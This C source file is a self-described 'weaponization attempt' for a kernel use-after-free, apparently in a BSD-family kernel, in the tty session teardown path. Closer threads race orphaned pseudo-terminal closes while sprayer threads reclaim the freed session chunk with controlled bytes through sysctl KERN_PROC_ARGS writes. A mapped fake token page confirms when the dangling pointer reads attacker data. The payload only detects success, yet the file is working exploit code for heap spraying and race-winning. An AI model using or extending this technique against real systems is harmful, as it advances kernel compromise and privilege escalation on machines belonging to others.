/*
 * DF-2687 weaponization attempt: win the ~30ns window inside the orphan's
 * final close (between kfree(session) at the tail of sess_rele()->pgrel()
 * and the `sp = tp->t_session; prg = sp->s_prg` read in the SAME
 * ttyclearsession() invocation), so that the dangling deref consumes an
 * ATTACKER-CONTROLLED chunk instead of stale session bytes.
 *
 * Controlled-content reclaim: sysctl KERN_PROC_ARGS self-write does
 *   kmalloc(8+96=104, M_PARGS)  <- same slab zone as struct session(104)
 *   SYSCTL_IN(96 bytes)         <- fully controlled binary content
 *   kfree(pa)                   <- transient, chunk keeps our bytes
 *
 * Benign detector: sprayed s_prg = FAKE_TOKEN_VA, a private RW page with
 *   t_count = TOK_EXCLREQ (2), t_ref = 0.
 * If the kernel dance runs on it:
 *   gettoken: CAS 2 -> 1, t_ref := <kernel td_toks pointer>
 *   reltoken: t_ref := NULL, t_count: 1 -> 0
 * => page transitions 2 -> 0 and stays 0: persistent proof the dangling
 *    t_session consumed OUR bytes.  No crash; loop keeps running.
 *
 * usage: race <closers> <sprayers> <seconds>
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#include <sys/ttycom.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <pthread.h>
#include <sys/mman.h>

#define FAKE_TOKEN_VA	0x100000000UL
#define TOK_EXCLUSIVE	0x00000001L
#define TOK_EXCLREQ	0x00000002L

struct fake_tok {
	volatile long t_count;		/* +0 */
	volatile void *t_ref;		/* +8 */
	volatile const char *t_desc;	/* +16 */
	char descbuf[32];
};

static struct fake_tok *ft;
static volatile uint64_t hits;
static volatile uint64_t attempts;
static volatile int stop_flag;
static uint64_t hit_samples[64];
static int nsamples;

static void
ft_reset(void)
{
	ft->t_count = TOK_EXCLREQ;
	ft->t_ref = NULL;
	strcpy(ft->descbuf, "df2687");
	ft->t_desc = ft->descbuf;
}

static int
open_pty(int *unit, char *pts, int *slave)
{
	struct stat st;
	int m, s;

	m = open("/dev/ptmx", O_RDWR);
	if (m < 0) return -1;
	if (fstat(m, &st) < 0) { close(m); return -1; }
	*unit = minor(st.st_rdev);
	snprintf(pts, 64, "/dev/pts/%d", *unit);
	s = open(pts, O_RDWR);
	if (s < 0) { close(m); return -1; }
	*slave = s;
	return m;
}

static int
make_orphan(int *unit_out)
{
	char pts1[64], pts2[64];
	int pfd[2];
	pid_t L;
	int m, s, m2, s2, u1, u2;
	char c;
	int st;

	if (pipe(pfd) < 0) return -1;
	m = open_pty(&u1, pts1, &s);
	if (m < 0) { close(pfd[0]); close(pfd[1]); return -1; }

	L = fork();
	if (L < 0) { close(pfd[0]); close(pfd[1]); close(m); close(s); return -1; }
	if (L == 0) {
		close(pfd[0]);
		signal(SIGHUP, SIG_IGN);
		if (read(pfd[1], &c, 1) != 1) _exit(20);
		close(pfd[1]);
		if (setsid() < 0) _exit(21);
		if (ioctl(m, TIOCSCTTY, 0) < 0) _exit(22);
		close(m);
		m2 = open_pty(&u2, pts2, &s2);
		if (m2 < 0) _exit(23);
		if (ioctl(s2, TIOCSCTTY, 0) < 0) _exit(24);
		_exit(0);
	}
	close(pfd[1]);
	close(m);
	if (write(pfd[0], "x", 1) != 1) ;
	close(pfd[0]);
	if (waitpid(L, &st, 0) < 0) { close(s); return -1; }
	if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) { close(s); return -1; }
	*unit_out = u1;
	return s;
}

static void *
sprayer(void *arg)
{
	unsigned char img[96];
	int mib[4];
	pid_t me = getpid();

	(void)arg;
	mib[0] = CTL_KERN;
	mib[1] = KERN_PROC;
	mib[2] = KERN_PROC_ARGS;
	mib[3] = me;

	memset(img, 0, sizeof(img));
	img[0] = 'd'; img[1] = 'f';
	/* chunk+24 (s_prg) == image offset 16 */
	{
		uint64_t v = FAKE_TOKEN_VA;
		memcpy(img + 16, &v, 8);
	}

	while (!stop_flag) {
		if (sysctl(mib, 4, NULL, NULL, img, sizeof(img)) < 0) {
			/* transient failures tolerable */
			usleep(1000);
		}
	}
	return NULL;
}

static void *
closer(void *arg)
{
	long id = (long)arg;
	int s, unit;
	uint64_t n = 0, h = 0;

	(void)id;
	while (!stop_flag) {
		s = make_orphan(&unit);
		if (s < 0) { usleep(1000); continue; }
		if (close(s) == 0) {
			n++;
			/* did the kernel dance run on our fake token? */
			if (ft->t_count == 0) {
				h++;
				__sync_fetch_and_add(&hits, 1);
				if (nsamples < 64) {
					uint64_t sample =
					    (uint64_t)(uintptr_t)ft->t_ref;
					hit_samples[nsamples++] = sample;
				}
				ft_reset();
			}
		}
		if ((n & 0x3ff) == 0) {
			fprintf(stderr, "closer %ld: %lu closes, %lu hits\n",
				id, n, h);
		}
	}
	fprintf(stderr, "closer %ld DONE: %lu closes, %lu hits\n", id, n, h);
	return NULL;
}

int
main(int argc, char **argv)
{
	int ncloser = argc > 1 ? atoi(argv[1]) : 3;
	int nspray = argc > 2 ? atoi(argv[2]) : 8;
	int secs = argc > 3 ? atoi(argv[3]) : 60;
	pthread_t *th;
	int i;

	setvbuf(stderr, NULL, _IONBF, 0);
	ft = mmap((void *)FAKE_TOKEN_VA, 4096,
		  PROT_READ | PROT_WRITE, MAP_ANON | MAP_FIXED | MAP_PRIVATE,
		  -1, 0);
	if (ft == MAP_FAILED) { perror("mmap fake token"); return 1; }
	ft_reset();
	printf("fake token page at %#lx t_count=%ld\n",
	       FAKE_TOKEN_VA, ft->t_count);

	th = calloc(ncloser + nspray, sizeof(pthread_t));
	for (i = 0; i < nspray; i++)
		pthread_create(&th[i], NULL, sprayer, (void *)(long)i);
	for (i = 0; i < ncloser; i++)
		pthread_create(&th[nspray + i], NULL, closer, (void *)(long)i);

	sleep(secs);
	stop_flag = 1;
	for (i = 0; i < ncloser + nspray; i++)
		pthread_join(th[i], NULL);

	printf("RESULT: hits=%lu fake-token final t_count=%ld\n",
	       hits, ft->t_count);
	for (i = 0; i < nsamples && i < 8; i++)
		printf("  hit sample t_ref residual=%#lx\n",
		       (unsigned long)hit_samples[i]);
	return hits > 0 ? 0 : 3;
}
